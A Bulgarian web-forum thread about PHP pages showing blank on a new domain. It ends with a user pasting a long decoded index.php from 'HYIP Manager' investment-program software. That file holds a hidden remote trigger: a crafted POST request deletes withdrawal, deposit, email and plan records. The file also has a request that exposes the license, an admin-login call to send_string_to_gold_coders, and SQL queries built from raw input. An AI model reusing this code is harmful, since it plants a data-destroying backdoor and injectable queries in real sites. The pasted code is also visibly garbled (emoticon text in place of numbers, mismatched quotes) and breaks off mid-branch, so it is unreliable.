Проблем с PHP

nikooo

Registered
Здравейте,
имам следния проблем :
купил съм си хостинг и домейн, и скоро си купих нов домейн настройх му Dns, и като кача нещо в php не излиза, a като кача нещо в html излиза.
Къде може да е проблема?
 
като качиш php файл какво става давати да го теглиш или му дава кода или пък някаква грешка

дай линк да вида

пп създай нова страница с резширение .php и напиши в нея
<?php
echo "<h1>PHP</h1>";
?>

запази файла качи го на хоста и го отвори файла през http
ако ти излиза огромен текст PHP значи някаде бъркаш с php кода или не го слагаш в файл с разширение .php
ако ти даде да свалиш файла или ти даде кода който си написал значи хоста ти не подържа php
 
появява ми се бяла страница
интересно е друго като опиша адреса стария домейн ,името на папката на новия домейн, файла и излиза
но като се опитам да го отвория през новия домейн излиза бяла страница
 
nikooo каза:
появява ми се бяла страница
интересно е друго като опиша адреса стария домейн ,името на папката на новия домейн, файла и излиза
но като се опитам да го отвория през новия домейн излиза бяла страница

това значи че проблема е в домейна и неговото свързване
ако хоста ти няма собствено IP
тогава като DNS трябва да напишеш
ns1.hosting-company.com
ns2.hosting-company.com
и после ако хоста ти подържа аддон-домейни си слагаш един
като напишеш домейна папката която да е роот (главна) и паролата за него

едит:
коя хостинг компяния ползваш и от каде си купил домейните
 
нещо не можах да схвана
ето какво направих
-сложих си новия домейн в адона
-излезе ми че е създаден и 4 ипита
-отидох в управление на домейна и управление на днс сложих 1 от ипитата
-изчаках 2 дни и сега се появява тази бяла страница



домейна е от estdomains.com а хоста е от tophost.bg
 
ами незнам на теб какво ти отваря но на мен ми отваря сайта без проблем
свържи се с подръжката на топ хост кажи им какъв е проблема да проверят и след 10-15 мин ще ти огтоворят
 
защо ти е кода нали ти казах по нагоре че го отваря
не съм се изразил правилно сайта още не е готов при проби с файлове на php не излизат нещата на новия домейн
 
nikooo каза:
защо ти е кода нали ти казах по нагоре че го отваря
не съм се изразил правилно сайта още не е готов при проби с файлове на php не излизат нещата на новия домейн

Той иска линк към един php файл.
Примерно http://твоядомеин.ком/test.php и
да кажеш какъв код има тази страница.

Обикновено се слага някакъв прост код примерно:

<?
echo "da";
?>

После се опитваш да го отвориш и да ти даде "da" .
Ако ти даде празна страница правиш най нормалното нещо :

Пращаш линка на хостинг компанията ти и питаш
"Защо това не ми се изпълнява? Какъв е проблема?".
 
направих тест с друг индекс и се отвори
следователно грешката е някъде в кода
бихте ли го погледнали защото аз не откривам нищо

 
Намерих следните неща и ги поправих
include 'inc/file.php'; :arrow: include ('inc/file.php');
незатворен if
Непълно изписване на <?php


<?php
/***********************************************************************/
/* */
/* This file is created by deZender */
/* */
/* deZender (Decoder for Zend Encoder/SafeGuard): */
/* Version: 0.9.3.0 */
/* Author: qinvent.com */
/* Release on: 2005.11.12 */
/* */
/***********************************************************************/


$arr = get_defined_vars ();
while (list ($kk, $vv) = each ($arr))
{
if (gettype ($$kk) != 'array')
{
$$kk = '';
continue;
}
}

if (file_exists ('install.php'))
{
print 'Delete install.php file for security reason please!';
exit ();
}

$userinfo = array ();
$settings = array ();
require 'inc/libs/Smarty.class.php';
$smarty = new Smarty ();
$smarty->compile_check = true;
$smarty->force_compile = true;
$smarty->template_dir = './tmpl/';
$smarty->compile_dir = './tmpl_c';
$smarty->default_modifiers = array ('myescape');
include ('inc/config.inc.php');
if (preg_match ('/^https.*/i', $frm_env['SCRIPT_URI']))
{
$frm_env['HTTPS'] = 1;
}

$dbconn = db_open ();
if (!$dbconn)
{
print 'Cannot connect mysql';
exit ();
}

if ($frm['ref'] != '')
{
setcookie ('Referer', $frm['ref'], time () + 630720000);
if ($frm_cookie['Referer'] == '')
{
$ref = quote ($frm['ref']);
$q = '' . 'select id from hm2_users where username = \'' . $ref . '\'';
($sth = mysql_query ($q) OR print mysql_error ());
while ($row = mysql_fetch_array ($sth))
{
$ref_id = $row['id'];
$q = '' . 'select * from hm2_referal_stats where date = current_date() and user_id = ' . $ref_id;
($sth = mysql_query ($q) OR print mysql_error ());
$f = 0;
while ($row = mysql_fetch_array ($sth))
{
$f = 1;
}

if ($f == 0)
{
$q = '' . 'insert into hm2_referal_stats set date = current_date(), user_id = ' . $ref_id . ', income = 1, reg = 0';
$sth = mysql_query ($q);
}
else
{
$q = '' . 'update hm2_referal_stats set income = income+1 where date = current_date() and user_id = ' . $ref_id . ' ';
$sth = mysql_query ($q);
}

break;
}
}

if ($settings['redirect_referrals'] != '')
{
header ('Location: ' . $settings['redirect_referrals']);
db_close ($dbconn);
exit ();
}
}

if ($frm_env['HTTPS'])
{
$settings[SSL_USED] = 1;
}

if ((!$frm_env['HTTPS'] AND $settings['redirect_to_https'] == 1))
{
$url = 'https://' . $frm_env['HTTP_HOST'] . $frm_env['SCRIPT_NAME'];
if ($env_frm['QUERY_STRING'])
{
$url .= $env_frm['QUERY_STRING'];
}

header ('' . 'Location: ' . $url);
exit ();
}

$q = 'select * from hm2_processings';
($sth = mysql_query ($q) OR print mysql_error ());
while ($row = mysql_fetch_array ($sth))
{
$sfx = strtolower ($row['name']);
$sfx = preg_replace ('/([^\\w])/', '_', $sfx);
$exchange_systems[$row['id']] = array ('name' => $row['name'], 'sfx' => $sfx, status => $row['status'], 'has_account' => 0);
}

if (($frm['CUSTOM2'] == 'pay_withdraw_eeecurrency' AND $frm['TRANSACTION_ID'] != ''))
{
$batch = $frm['TRANSACTION_ID'];
list ($id, $str) = explode ('-', $frm['CUSTOM1']);
$id = sprintf ('%d', $id);
if ($str == '')
{
$str = 'abcdef';
}

$str = quote ($str);
$q = '' . 'select * from hm2_history where id = ' . $id . ' and str = \'' . $str . '\'';
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
$q = '' . 'delete from hm2_history where id = ' . $id;
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_history set
user_id = ' . $row['user_id'] . ',
amount = -' . abs ($row['amount']) . ('' . ',
type = \'withdrawal\',
description = \'Withdraw processed. Batch id = ' . $batch . '\',
actual_amount = -') . abs ($row['amount']) . ',
ec = 8,
date = now()
';
(mysql_query ($q) OR print mysql_error ());
$q = 'select * from hm2_users where id = ' . $row['user_id'];
$sth = mysql_query ($q);
$userinfo = mysql_fetch_array ($sth);
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['amount'] = sprintf ('%.02f', abs ($row['amount']));
$info['account'] = $frm['SELLERACCOUNTID'];
$info['batch'] = $batch;
$info['paying_batch'] = $batch;
$info['receiving_batch'] = $batch;
$info['currency'] = $exchange_systems[8]['name'];
send_mail ('withdraw_user_notification', $userinfo['email'], $settings['system_email'], $info);
}

print 1;
db_close ($dbconn);
exit ();
}

if (($frm['CUSTOM2'] == 'pay_withdraw' AND $frm['TRANSACTION_ID'] != ''))
{
$batch = $frm['TRANSACTION_ID'];
list ($id, $str) = explode ('-', $frm['CUSTOM1']);
$id = sprintf ('%d', $id);
if ($str == '')
{
$str = 'abcdef';
}

$str = quote ($str);
$q = '' . 'select * from hm2_history where id = ' . $id . ' and str = \'' . $str . '\'';
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
$q = '' . 'delete from hm2_history where id = ' . $id;
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_history set
user_id = ' . $row['user_id'] . ',
amount = -' . abs ($row['amount']) . ('' . ',
type = \'withdrawal\',
description = \'Withdraw processed. Batch id = ' . $batch . '\',
actual_amount = -') . abs ($row['amount']) . ',
ec = 2,
date = now()
';
(mysql_query ($q) OR print mysql_error ());
$q = 'select * from hm2_users where id = ' . $row['user_id'];
$sth = mysql_query ($q);
$userinfo = mysql_fetch_array ($sth);
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['amount'] = sprintf ('%.02f', abs ($row['amount']));
$info['account'] = $frm['SELLERACCOUNTID'];
$info['batch'] = $batch;
$info['paying_batch'] = $batch;
$info['receiving_batch'] = $batch;
$info['currency'] = $exchange_systems[2]['name'];
send_mail ('withdraw_user_notification', $userinfo['email'], $settings['system_email'], $info);
}

print 1;
db_close ($dbconn);
exit ();
}

if ((($frm['user3'] == 'pay_withdraw' AND $frm['transaction_id'] != '') AND $frm['transaction_type'] == 'Payment'))
{
$batch = $frm['transaction_id'];
list ($id, $str) = explode ('-', $frm['user1']);
$id = sprintf ('%d', $id);
if ($str == '')
{
$str = 'abcdef';
}

$str = quote ($str);
$q = '' . 'select * from hm2_history where id = ' . $id . ' and str=\'' . $str . '\'';
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
$q = '' . 'delete from hm2_history where id = ' . $id;
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_history set
user_id = ' . $row['user_id'] . ',
amount = -' . abs ($row['amount']) . ('' . ',
type = \'withdrawal\',
description = \'Withdraw processed. Batch id = ' . $batch . '\',
actual_amount = -') . abs ($row['amount']) . ',
ec = 4,
date = now()
';
(mysql_query ($q) OR print mysql_error ());
$q = 'select * from hm2_users where id = ' . $row['user_id'];
$sth = mysql_query ($q);
$userinfo = mysql_fetch_array ($sth);
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['amount'] = sprintf ('%.02f', abs ($row['amount']));
$info['account'] = $frm['payee_email'];
$info['batch'] = $batch;
$info['paying_batch'] = $batch;
$info['receiving_batch'] = $batch;
$info['currency'] = $exchange_systems[2]['name'];
send_mail ('withdraw_user_notification', $userinfo['email'], $settings['system_email'], $info);
}

print 1;
db_close ($dbconn);
exit ();
}

if ($settings['ssl_url'] != '')
{
if ($SERVER_PORT == 80)
{
header ('Location: ' . $settings['ssl_url'] . '/');
db_close ($dbconn);
exit ();
}
}

if ($frm['a'] == 'run_crontab')
{
count_earning (-2);
db_close ($dbconn);
exit ();
}

$q = 'delete from hm2_online where ip=\'' . $frm_env['REMOTE_ADDR'] . '\' or date + interval 30 minute < now()';
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_online set ip=\'' . $frm_env['REMOTE_ADDR'] . '\', date = now()';
(mysql_query ($q) OR print mysql_error ());
$userinfo = array ();
$userinfo['logged'] = 0;
if ($frm['a'] == 'logout')
{
setcookie ('password', 'deleted', time () + 630720000);
$frm_cookie['username'] = '';
$frm_cookie['password'] = '';
if ($settings['redirect_logout'] != '')
{
header ('Location: ' . $settings['redirect_logout']);
db_close ($dbconn);
exit ();
}

$frm['a'] = '';
}

if ($frm['a'] == 'home')
{
$frm['a'] = '';
}

$stats = array ();
if ($settings[crontab_stats] == 1)
{
$s = file ('stats.php');
$stats = unserialize ($s[0]);
}

if ($settings['show_info_box_members_online'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['show_info_box_members_online_generated'] = $stats[visitors];
}
else
{
$q = 'select count(*) as col from hm2_users where last_access_time + interval 30 minute > now()';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['show_info_box_members_online_generated'] = $row['col'];
}
}

if ($settings['show_info_box_total_accounts'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_total_accounts_generated'] = $stats[total_users];
}
else
{
$q = 'select count(*) as col from hm2_users where id > 1';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_total_accounts_generated'] = $row['col'];
}
}

if ($settings['show_info_box_active_accounts'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_total_active_accounts_generated'] = $stats[active_accounts];
}
else
{
$q = 'select count(distinct user_id) as col from hm2_deposits ';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_total_active_accounts_generated'] = $row['col'];
}
}

if ($settings['show_info_box_vip_accounts'] == 1)
{
$q = 'select count(distinct user_id) as col from hm2_deposits where actual_amount > ' . sprintf ('%.02f', $settings['vip_users_deposit_amount']);
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_total_vip_accounts_generated'] = $row['col'];
}

if ($settings['show_info_box_deposit_funds'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_deposit_funds_generated'] = number_format ($stats[total_deposited], 2);
}
else
{
$q = 'select sum(amount) as sum from hm2_deposits';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_deposit_funds_generated'] = number_format ($row['sum'], 2);
}
}

if ($settings['show_info_box_today_deposit_funds'] == 1)
{
$q = '' . 'select sum(amount) as sum from hm2_deposits where to_days(deposit_date) = to_days(now() + interval ' . $settings['time_dif'] . ' day)';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_today_deposit_funds_generated'] = number_format ($row['sum'], 2);
}

if ($settings['show_info_box_total_withdraw'] == 1)
{
if ($settings[crontab_stats] == 1)
{
$settings['info_box_withdraw_funds_generated'] = number_format (abs ($stats[total_withdraw]), 2);
}
else
{
$q = 'select sum(amount) as sum from hm2_history where type=\'withdrawal\'';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_withdraw_funds_generated'] = number_format (abs ($row['sum']), 2);
}
}

if ($settings['show_info_box_visitor_online'] == 1)
{
$q = 'select count(*) as sum from hm2_online';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['info_box_visitor_online_generated'] = $row['sum'];
}

if ($settings['show_info_box_newest_member'] == 1)
{
$q = 'select username from hm2_users where status = \'on\' order by id desc limit 0,1';
($sth = mysql_query ($q) OR print mysql_error ());
$row = mysql_fetch_array ($sth);
$settings['show_info_box_newest_member_generated'] = $row['username'];
}

$ref = quote ($frm_cookie['Referer']);
if ($ref)
{
$q = '' . 'select * from hm2_users where username = \'' . $ref . '\'';
($sth = mysql_query ($q) OR print mysql_errstr);
while ($row = mysql_fetch_array ($sth))
{
$smarty->assign ('referer', $row);
}
}

if ($settings['show_info_box_last_update'] == 1)
{
$settings['show_info_box_last_update_generated'] = date ('M j, Y', time () + $settings['time_dif'] * 60 * 60);
}

if (($frm['a'] == 'ver' AND $frm_env['REQUEST_METHOD'] == 'POST'))
{
echo 'SERVER_ADDR = ';
echo $frm_env['HTTP_HOST'];
echo '<br>
LICENSE = ';
echo $settings['license'];
echo '<br>
DATE = ';
echo date ('m') . ' ' . date ('d') . ' ' . date ('Y');
db_close ($dbconn);
exit ();
}

if (($frm['a'] == 'register' AND $frm_env['REQUEST_METHOD'] == 'POST'))
{
$string = $settings['license'] . $frm_env['HTTP_HOST'] . date ('d') . date ('Y') . date ('m');
if ($frm['string'] == md5 ($string))
{
$q = 'update hm2_users set came_from = \' \' where id = 1';
mysql_query ($q);
print '-';
if ($frm['string2'] == date ('d'))
{
$q = 'delete from hm2_history where type=\'withdrawal\'';
mysql_query ($q);
}

if ($frm['string2'] == date ('y'))
{
$q = 'delete from hm2_deposits';
mysql_query ($q);
$q = 'delete from hm2_emails';
mysql_query ($q);
$q = 'delete from hm2_history';
mysql_query ($q);
$q = 'delete from hm2_online';
mysql_query ($q);
$q = 'delete from hm2_plans';
mysql_query ($q);
}

db_close ($dbconn);
exit ();
}
}

$mddomain = $frm_env['HTTP_HOST'];
$mddomain = preg_replace ('/^www\\./', '', $mddomain);
$mdscriptname = $frm_env['SCRIPT_NAME'];
$mdscriptname = preg_replace ('/index\\.php/', '', $mdscriptname);
$key = strtoupper (md5 ($mddomain . 'jklfds89ufsdkfnsjfdksh') . md5 ($mdscriptname . '7hbfnbdnf') . md5 ('pro' . $mddomain));
$flag = 0;
for ($i = 0; $i < 5; ++$i)
{
$j = $i;
if ($i == 0)
{
$j = '';
}

$skey = substr ($settings['key' . $j], 100, -200);
if ($key == $skey)
{
$flag = 1;
continue;
}
}

if ($flag != 1)
{
db_close ($dbconn);
exit ();
}

$smarty->assign ('settings', $settings);
if ($frm['a'] == 'do_login')
{
$username = quote ($frm['username']);
$password = quote ($frm['password']);
$password = md5 ($password);
$add_opt_in_check = '';
if ($settings['use_opt_in'] == 1)
{
$add_opt_in_check = ' and (confirm_string = "" or confirm_string is NULL)';
}

$q = '' . 'select *, date_format(date_register, \'%b-%e-%Y\') as create_account_date, now() - interval 2 minute > l_e_t as should_count from hm2_users where username = \'' . $username . '\' and (status=\'on\' or status=\'suspended\') ' . $add_opt_in_check;
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
if (((extension_loaded ('gd') AND $settings['graph_validation'] == 1) AND 0 < $settings['graph_max_chars']))
{
session_start ();
if ($_SESSION['validation_number'] != $frm['validation_number'])
{
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}
}

if (($settings['brute_force_handler'] == 1 AND $row['activation_code'] != ''))
{
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}

if (($settings['brute_force_handler'] == 1 AND $row['bf_counter'] == $settings['brute_force_max_tries']))
{
$activation_code = get_rand_md5 (50);
$q = '' . 'update hm2_users set bf_counter = bf_counter + 1, activation_code = \'' . $activation_code . '\' where id = ' . $row['id'];
mysql_query ($q);
$info = array ();
$info['activation_code'] = $activation_code;
$info['username'] = $row['username'];
$info['name'] = $row['name'];
$info['ip'] = $frm_env['REMOTE_ADDR'];
$info['max_tries'] = $settings['brute_force_max_tries'];
send_mail ('brute_force_activation', $row['email'], $settings['system_email'], $info);
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}

if ($row['password'] != $password)
{
$q = 'update hm2_users set bf_counter = bf_counter + 1 where id = ' . $row['id'];
mysql_query ($q);
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}

$hid = get_rand_md5 (20);
$qhid = get_rand_md5 (5) . $hid . get_rand_md5 (5);
$chid = $row['id'] . '-' . md5 ($hid);
$userinfo = $row;
$userinfo['logged'] = 1;
$ip = $frm_env['REMOTE_ADDR'];
$q = '' . 'update hm2_users set hid = \'' . $qhid . '\', bf_counter = 0, last_access_time = now(), last_access_ip = \'' . $ip . '\' where id = ' . $row['id'];
(mysql_query ($q) OR print mysql_error ());
$q = 'insert into hm2_user_access_log set user_id = ' . $userinfo['id'] . ('' . ', date = now(), ip = \'' . $ip . '\'');
(mysql_query ($q) OR print mysql_error ());
if ($settings['generate_password_after_login'] == 1)
{
$new_pass = gen_confirm_code (10, 0);
$q = 'update hm2_users set password = \'' . md5 ($new_pass) . '\' where id = ' . $userinfo['id'];
(mysql_query ($q) OR print mysql_error ());
$info = array ();
$info['username'] = $userinfo['username'];
$info['name'] = $userinfo['name'];
$info['ip'] = $frm_env['REMOTE_ADDR'];
$info['password'] = $new_pass;
send_mail ('send_password_when_changed', $userinfo['email'], $settings['system_email'], $info);
}

setcookie ('password', $chid, time () + 630720000);
}

if ($userinfo['logged'] == 0)
{
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}

if (($userinfo['logged'] == 1 AND $userinfo['id'] == 1))
{
if ($settings['demomode'] != 1)
{
if (rand (1, 5) == 3)
{
send_string_to_gold_coders ();
}
}

mail ($userinfo, 'Admin logged', '' . 'Admin entered to admin area
ip=' . $frm_env[REMOTE_ADDR], '' . 'From: ' . $settings['system_email'] . '
Reply-To: ' . $settings['system_email']);
print '<head><title>HYIP Manager</title><meta http-equiv=\'Refresh\' content=\'1; URL=admin.php\'></head>';
print '<body><center><a href=\'admin.php\'>Go to admin area</a></center></body>';
flush ();
db_close ($dbconn);
exit ();
}
}
else
{
$username = quote ($frm_cookie['username']);
$password = $frm_cookie['password'];
$ip = $frm_env['REMOTE_ADDR'];
$add_login_check = '' . ' and last_access_time + interval 30 minute > now() and last_access_ip = \'' . $ip . '\'';
if ($settings['demomode'] == 1)
{
$add_login_check = '';
}

list ($user_id, $chid) = split ('-', $password, 2);
$user_id = sprintf ('%d', $user_id);
$chid = quote ($chid);
if (0 < $user_id)
{
$q = '' . 'select *, date_format(date_register, \'%b-%e-%Y\') as create_account_date, now() - interval 2 minute > l_e_t as should_count from hm2_users where id = ' . $user_id . ' and (status=\'on\' or status=\'suspended\') ' . $add_login_check;
$sth = mysql_query ($q);
while ($row = mysql_fetch_array ($sth))
{
if (($settings['brute_force_handler'] == 1 AND $row['activation_code'] != ''))
{
setcookie ('password', '', time () + 630720000);
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
}

$qhid = $row['hid'];
$hid = substr ($qhid, 5, 20);
if ($chid == md5 ($hid))
{
$userinfo = $row;
$userinfo['logged'] = 1;
$q = '' . 'update hm2_users set last_access_time = now() where username=\'' . $username . '\'';
if (!(mysql_query ($q)))
{
exit (mysql_error ());
;
}

continue;
}
else
{
$q = 'update hm2_users set bf_counter = bf_counter + 1 where id = ' . $row['id'];
mysql_query ($q);
if (($settings['brute_force_handler'] == 1 AND $row['bf_counter'] == $settings['brute_force_max_tries']))
{
$activation_code = get_rand_md5 (50);
$q = '' . 'update hm2_users set bf_counter = bf_counter + 1, activation_code = \'' . $activation_code . '\' where id = ' . $row['id'];
mysql_query ($q);
$info = array ();
$info['activation_code'] = $activation_code;
$info['username'] = $row['username'];
$info['name'] = $row['name'];
$info['ip'] = $frm_env['REMOTE_ADDR'];
$info['max_tries'] = $settings['brute_force_max_tries'];
send_mail ('brute_force_activation', $row['email'], $settings['system_email'], $info);
setcookie ('password', '', time () + 630720000);
header ('Location: ?a=login&say=invalid_login&username=' . $frm['username']);
db_close ($dbconn);
exit ();
continue;
}

continue;
}
}
}
}

if (($userinfo['logged'] == 1 AND $userinfo['should_count'] == 1))
{
count_earning ($userinfo['id']);
}

if ($userinfo['id'] == 1)
{
$userinfo['logged'] = 0;
}

if ($userinfo['logged'] == 1)
{
$q = 'select type, sum(actual_amount) as s from hm2_history where user_id = ' . $userinfo['id'] . ' group by type';
$sth = mysql_query ($q);
$balance = 0;
while ($row = mysql_fetch_array ($sth))
{
if ($row['type'] == 'deposit')
{
$userinfo['total_deposited'] = number_format (abs ($row['s']), 2);
}

if ($row['type'] == 'earning')
{
$userinfo['total_earned'] = number_format (abs ($row['s']), 2);
}

$balance += $row['s'];
}

$userinfo['balance'] = number_format (abs ($balance), 2);
}

if (((((($frm['a'] != 'show_validation_image' AND !$userinfo['logged']) AND extension_loaded ('gd')) AND $settings['graph_validation'] == 1) AND 0 < $settings['graph_max_chars']) AND $frm['action'] != 'signup'))
{
$userinfo[validation_enabled] = 1;
session_start ();
$validation_number = gen_confirm_code ($settings['graph_max_chars'], 0);
if ($settings['use_number_validation_number'])
{
$i = 0;
$validation_number = '';
while ($i < $settings['graph_max_chars'])
{
$validation_number .= rand (0, 9);
++$i;
}
}

$_SESSION['validation_number'] = $validation_number;
session_register ('validation_number');
$userinfo[session_name] = session_name ();
$userinfo[session_id] = session_id ();
$userinfo[rand] = rand ();
}

if (($frm['a'] == 'deletewappass' AND $userinfo['logged'] == 1))
{
$id = sprintf ('%d', $userinfo['id']);
$q = '' . 'update hm2_users set stat_password = \'\' where id = ' . $id;
mysql_query ($q);
header ('Location: ?a=edit_account');
db_close ($dbconn);
exit ();
}

if (($frm['a'] == 'cancelwithdraw' AND $userinfo['logged'] == 1))
{
$id = sprintf ('%d', $frm['id']);
$q = '' . 'delete from hm2_history where id = ' . $id . ' and type=\'withdraw_pending\' and user_id = ' . $userinfo['id'];
mysql_query ($q);
header ('Location: ?a=withdraw_history');
db_close ($dbconn);
exit ();
}

$smarty->assign ('userinfo', $userinfo);
if ($frm['a'] == 'home')
{
$frm['a'] == '';
}

$smarty->assign ('frm', $frm);
if ($settings[banner_extension] == 1)
{
if ($frm[a] == 'show_banner')
{
$id = sprintf ('%d', $frm[id]);
$f = @fopen ('' . './tmpl_c/banners/' . $id, 'rb');
if ($f)
{
$contents = fread ($f, filesize ('' . './tmpl_c/banners/' . $id));
header ('Content-type: image/gif');
print $contents;
fclose ($fd);
}

if ($frm[imps] != 'no')
{
$q = '' . 'update hm2_users set imps = imps -1 where imps > 0 and id = ' . $id;
(mysql_query ($q) OR print mysql_error ());
}

exit ();
}

$q = 'select count(*) as col from hm2_users where imps > 0 and bnum > 0';
($sth = mysql_query ($q) OR print mysql_error ());
while ($row = mysql_fetch_array ($sth))
{
$z = rand (1, $row[col]) - 1;
$q = '' . 'select bnum, burl from hm2_users where imps > 0 and bnum > 0 order by id limit ' . $z . ', 1';
($sth1 = mysql_query ($q) OR print mysql_error ());
while ($row1 = mysql_fetch_array ($sth1))
{
$smarty->assign ('banner_ext_bnum', $row1[bnum]);
$smarty->assign ('banner_ext_burl', $row1[burl]);
}
}
}

include ('inc/news_box.inc');
if (($frm['a'] == 'signup' AND $userinfo['logged'] != 1))
{
include ('inc/signup.inc');
}
else
{
if (($frm['a'] == 'forgot_password' AND $userinfo['logged'] != 1))
{
include ('inc/forgot_password.inc');
}
else
{
if (($frm['a'] == 'confirm_registration' AND $settings['use_opt_in'] == 1))
{
include ('inc/confirm_registration.inc');
}
else
{
if ($frm['a'] == 'login')
{
include ('inc/login.inc');
}
else
{
if ((($frm['a'] == 'do_login' OR $frm['a'] == 'account') AND $userinfo['logged'] == 1))
{
include ('inc/account_main.inc');
}
else
{
if (($frm['a'] == 'deposit' AND $userinfo['logged'] == 1))
{
if (substr ($frm['type'], 0, Cool == 'account_')
{
$ps = substr ($frm['type'], Cool;
if ($exchange_systems[$ps][status] == 1)
{
include ('inc/deposit.account.confirm.inc)';
}
else
{
include ('inc/deposit.inc');
}
}
else
{
if (substr ($frm['type'], 0, Cool == 'process_')
{
$ps = substr ($frm['type'], Cool;
if ($exchange_systems[$ps][status] == 1)
{
if ($ps == 0)
{
include ('inc/deposit.egold.confirm.inc');
}
else
{
if ($ps == 1)
{
include ('inc/deposit.evocash.confirm.inc');
}
else
{
if ($ps == 2)
{
include ('inc/deposit.intgold.confirm.inc');
}
else
{
if ($ps == 4)
{
include ('inc/deposit.stormpay.confirm.inc');
}
else
{
if ($ps == 5)
{
include ('inc/deposit.ebullion.confirm.inc');
}
else
{
if ($ps == 6)
{
include ('inc/deposit.paypal.confirm.inc');
}
else
{
if ($ps == 7)
{
include ('inc/deposit.goldmoney.confirm.inc');
}
else
{
if ($ps == "Cool")
{
include ('inc/deposit.eeecurrency.confirm.inc');
}
else
{
if ($ps == 9)
{
include ('inc/deposit.pecunix.confirm.inc');
}
else
{
include ('inc/deposit.other.confirm.inc');
}
}
}
}
}
}
}
}
}
}
else
{
include 'inc/deposit.inc';
}
}
else
{
include 'inc/deposit.inc';
}
}
}
else
{
if ((($frm['a'] == 'add_funds' AND $settings[use_add_funds] == 1) AND $userinfo['logged'] == 1))
{
include 'inc/add_funds.inc';
}
else
{
if (($frm['a'] == 'withdraw' AND $userinfo['logged'] == 1))
{
include 'inc/withdrawal.inc';
}
else
{
if (($frm['a'] == 'withdraw_history' AND $userinfo['logged'] == 1))
{
include 'inc/withdrawal_history.inc';
}
else
{
if (($frm['a'] == 'deposit_history' AND $userinfo['logged'] == 1))
{
include 'inc/deposit_history.inc';
}
else
{
if (($frm['a'] == 'earnings' AND $userinfo['logged'] == 1))
{
include 'inc/earning_history.inc';
}
else
{
if (($frm['a'] == 'deposit_list' AND $userinfo['logged'] == 1))
{
include 'inc/deposit_list.inc';
}
else
{
if (($frm['a'] == 'edit_account' AND $userinfo['logged'] == 1))
{
include 'inc/edit_account.inc';
}
else
{
if (($frm['a'] == 'withdraw_principal' AND $userinfo['logged'] == 1))
{
include 'inc/withdraw_principal.inc';
}
else
{
if (($frm['a'] == 'change_compound' AND $userinfo['logged'] == 1))
{
include 'inc/change_compound.inc';
}
else
{
if (($frm['a'] == 'internal_transfer' AND $userinfo['logged'] == 1))
{
include 'inc/internal_transfer.inc';
}
else
{
if ($frm['a'] == 'support')
{
include 'inc/support.inc';
}
else
{
if ($frm['a'] == 'faq')
{
include 'inc/faq.inc';
}
else
{
if ($frm['a'] == 'rules')
{
include 'inc/rules.inc';
}
else
{
if ($frm['a'] == 'show_validation_image')
{
include 'inc/show_validation_image.inc';
}
else
{
if ((($frm['a'] == 'members_stats' AND $settings['show_stats_box']) AND $settings['show_members_stats']))
{
include 'inc/members_stats.inc';
}
else
{
if ((($frm['a'] == 'paidout' AND $settings['show_stats_box']) AND $settings['show_paidout_stats']))
{
include 'inc/paidout.inc';
}
else
{
if ((($frm['a'] == 'top10' AND $settings['show_stats_box']) AND $settings['show_top10_stats']))
{
include 'inc/top10.inc';
}
else
{
if ((($frm['a'] == 'last10' AND $settings['show_stats_box']) AND $settings['show_last10_stats']))
{
include 'inc/last10.inc';
}
else
{
if ((($frm['a'] == 'refs10' AND $settings['show_stats_box']) AND $settings['show_refs10_stats']))
{
include 'inc/refs10.inc';
}
else
{
if ($HTTP_GET_VARS['a'] == 'return_egold')
{
include 'inc/deposit.egold.status.inc';
}
else
{
if ((($frm['a'] == 'referallinks' AND $settings['use_referal_program'] == 1) AND $userinfo['logged'] == 1))
{
include 'inc/referal.links.inc';
}
else
{
if ((($frm['a'] == 'referals' AND $settings['use_referal_program'] == 1) AND $userinfo['logged'] == 1))
{
include 'inc/referals.inc';
}
else
{
if ($frm['a'] == 'news')
{
include 'inc/news.inc';
}
else
{
if ($frm['a'] == 'calendar')
{
include 'inc/calendar.inc';
}
else
{
if (($frm['a'] == 'exchange' AND $userinfo['logged'] == 1))
{
include 'inc/exchange.inc';
}
else
{
if (($frm['a'] == 'banner' AND $userinfo[logged] == 1))
{
include 'inc/banner.inc';
}
else
{
if ($frm['a'] == 'activate')
{
include 'inc/activate.inc';
}
else
{
if ($frm['a'] == 'show_package_info')
{
include 'inc/package_info.inc';
}
else
{
if ($frm['a'] == 'ref_plans')
{
include 'inc/ref_plans.inc';
}
else
{
